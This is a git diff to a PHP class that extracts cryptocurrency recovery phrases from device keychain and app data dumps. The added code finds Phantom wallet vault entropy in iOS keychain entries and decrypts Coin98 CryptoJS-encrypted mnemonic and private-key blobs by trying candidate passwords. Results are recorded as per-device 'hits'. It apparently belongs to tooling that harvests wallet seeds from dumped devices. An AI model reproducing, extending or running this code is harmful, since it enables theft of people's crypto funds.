feat: app
This commit is contained in:
@@ -69,6 +69,8 @@ final class DsKeystoreDecrypt
|
||||
foreach ($this->recoverPhantom($phantomNodes) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
$this->markSourceDecrypted($device->id, $hit['source']);
|
||||
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
@@ -101,16 +103,20 @@ final class DsKeystoreDecrypt
|
||||
|
||||
$utcs = [];
|
||||
$vaults = [];
|
||||
$coin98Wallets = [];
|
||||
foreach ($nodes as $node) {
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
|
||||
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
|
||||
foreach ($this->collectCoin98Backups($node) as $wallets) {
|
||||
$coin98Wallets = array_merge($coin98Wallets, $wallets);
|
||||
}
|
||||
}
|
||||
$utcs = $this->uniqueKeystores($utcs);
|
||||
$passwords = $this->expandUserPassword($password);
|
||||
$hits = [];
|
||||
$seen = [];
|
||||
if ($passwords === []) {
|
||||
return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults)];
|
||||
return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
|
||||
}
|
||||
|
||||
foreach ($utcs as $item) {
|
||||
@@ -151,7 +157,26 @@ final class DsKeystoreDecrypt
|
||||
];
|
||||
}
|
||||
|
||||
return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults)];
|
||||
// Coin98 CryptoJS privateKey / mnemonic blobs keyed by the user's
|
||||
// wallet password.
|
||||
if ($coin98Wallets !== []) {
|
||||
$phrase = $this->unlockCoin98Wallets($coin98Wallets, $passwords);
|
||||
if ($phrase !== null) {
|
||||
$hash = WalletMnemonic::hashSecret($phrase);
|
||||
if (! isset($seen[$hash])) {
|
||||
$seen[$hash] = true;
|
||||
$hitSource = $source !== '' ? $source : 'Coin98';
|
||||
$hits[] = [
|
||||
'source' => $hitSource,
|
||||
'tag' => WalletSource::tagForLabel($hitSource) ?: 'q',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults), 'coin98' => count($coin98Wallets)];
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -417,19 +442,11 @@ final class DsKeystoreDecrypt
|
||||
}
|
||||
|
||||
$out = [];
|
||||
// Phantom vault seedless entries: service=app:no-auth, account hex-decodes
|
||||
// to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with
|
||||
// an "entropy" dict of byte-index → byte-value pairs.
|
||||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||||
$acct = (string) ($node['account'] ?? '');
|
||||
$acctDecoded = '';
|
||||
if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||||
$bin = @hex2bin($acct);
|
||||
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
|
||||
$acctDecoded = strtolower($bin);
|
||||
}
|
||||
}
|
||||
if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) {
|
||||
// Phantom vault entropy lives in dataHex as {"entropy":{"0":n,...}}.
|
||||
// Account may be hex, base64, or already-decoded UTF-8, and the path
|
||||
// is either ".phantom-labs.vault.seedless.*" (older) or
|
||||
// ".phantom-labs.vault.seed.*" (current iOS app).
|
||||
if ($this->isPhantomVaultItem($node)) {
|
||||
$hex = $this->phantomEntropyFromItem($node);
|
||||
if ($hex !== null) {
|
||||
$out[] = $hex;
|
||||
@@ -446,7 +463,54 @@ final class DsKeystoreDecrypt
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the entropy hex from a Phantom vault seedless keychain item.
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
private function isPhantomVaultItem(array $node): bool
|
||||
{
|
||||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||||
$acct = $this->decodeKeychainAccount((string) ($node['account'] ?? ''));
|
||||
$agrp = strtolower((string) ($node['accessGroup'] ?? ''));
|
||||
$looksPhantom = str_contains($acct, 'phantom-labs')
|
||||
|| str_contains($acct, 'phantom')
|
||||
|| str_contains($agrp, 'phantom')
|
||||
|| $svc === 'app.phantom';
|
||||
if ($looksPhantom) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Older DS dumps used service=app:no-auth + hex account.
|
||||
return $svc === 'app:no-auth' && (
|
||||
str_contains($acct, 'phantom-labs.vault.seedless')
|
||||
|| str_contains($acct, 'phantom-labs.vault.seed.')
|
||||
);
|
||||
}
|
||||
|
||||
private function decodeKeychainAccount(string $acct): string
|
||||
{
|
||||
$acct = trim($acct);
|
||||
if ($acct === '') {
|
||||
return '';
|
||||
}
|
||||
$lower = strtolower($acct);
|
||||
if (str_contains($lower, 'phantom-labs') || str_contains($lower, 'phantom')) {
|
||||
return $lower;
|
||||
}
|
||||
if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||||
$bin = @hex2bin($acct);
|
||||
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
|
||||
return strtolower($bin);
|
||||
}
|
||||
}
|
||||
$b64 = base64_decode($acct, true);
|
||||
if (is_string($b64) && $b64 !== '' && mb_check_encoding($b64, 'UTF-8')) {
|
||||
return strtolower($b64);
|
||||
}
|
||||
|
||||
return $lower;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the entropy hex from a Phantom vault seedless/seed keychain item.
|
||||
*
|
||||
* @param array<string, mixed> $item
|
||||
*/
|
||||
@@ -529,6 +593,15 @@ final class DsKeystoreDecrypt
|
||||
}
|
||||
}
|
||||
|
||||
// App-link coin98.wallet keystore row (SET_WALLET_STORAGE wallets,
|
||||
// with CryptoJS-encrypted privateKey / mnemonic blobs).
|
||||
if (trim((string) ($node['kind'] ?? '')) === 'coin98.wallet' && is_array($node['wallets'] ?? null)) {
|
||||
$wallets = array_values(array_filter($node['wallets'], 'is_array'));
|
||||
if ($wallets !== []) {
|
||||
$out[] = $wallets;
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1));
|
||||
@@ -790,6 +863,68 @@ final class DsKeystoreDecrypt
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Coin98 SET_WALLET_STORAGE wallets keep privateKey / mnemonic as
|
||||
* CryptoJS AES blobs ("U2FsdGVkX1…" = base64 OpenSSL "Salted__" +
|
||||
* 8-byte salt + AES-256-CBC ciphertext). Try the mnemonic blob first
|
||||
* (it decrypts straight to a BIP39 phrase), then the privateKey blob.
|
||||
*
|
||||
* @param list<array<string, mixed>> $wallets
|
||||
* @param list<string> $passwords
|
||||
*/
|
||||
public function unlockCoin98Wallets(array $wallets, array $passwords): ?string
|
||||
{
|
||||
foreach ($wallets as $wallet) {
|
||||
if (! is_array($wallet)) {
|
||||
continue;
|
||||
}
|
||||
foreach (['mnemonic', 'privateKey'] as $field) {
|
||||
$cipher = $wallet[$field] ?? null;
|
||||
if (! is_string($cipher) || $cipher === '') {
|
||||
continue;
|
||||
}
|
||||
foreach ($passwords as $password) {
|
||||
$plain = $this->decryptCryptoJsAes($cipher, $password);
|
||||
if ($plain === null) {
|
||||
continue;
|
||||
}
|
||||
$phrase = $this->asMnemonic($plain);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* CryptoJS AES.encrypt(plain, password) default format:
|
||||
* base64("Salted__" + salt(8) + AES-256-CBC ciphertext), with the key
|
||||
* and IV derived via OpenSSL EVP_BytesToKey (MD5, one round).
|
||||
*/
|
||||
private function decryptCryptoJsAes(string $cipherB64, string $password): ?string
|
||||
{
|
||||
$raw = base64_decode($cipherB64, true);
|
||||
if (! is_string($raw) || strlen($raw) < 32 || ! str_starts_with($raw, 'Salted__')) {
|
||||
return null;
|
||||
}
|
||||
$salt = substr($raw, 8, 8);
|
||||
$cipher = substr($raw, 16);
|
||||
$derived = '';
|
||||
$block = '';
|
||||
while (strlen($derived) < 48) {
|
||||
$block = md5($block.$password.$salt, true);
|
||||
$derived .= $block;
|
||||
}
|
||||
$key = substr($derived, 0, 32);
|
||||
$iv = substr($derived, 32, 16);
|
||||
$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||
|
||||
return is_string($plain) && $plain !== '' ? $plain : null;
|
||||
}
|
||||
|
||||
private function phraseFromVaultPlain(string $plain): ?string
|
||||
{
|
||||
$direct = $this->asMnemonic($plain);
|
||||
|
||||
Reference in New Issue
Block a user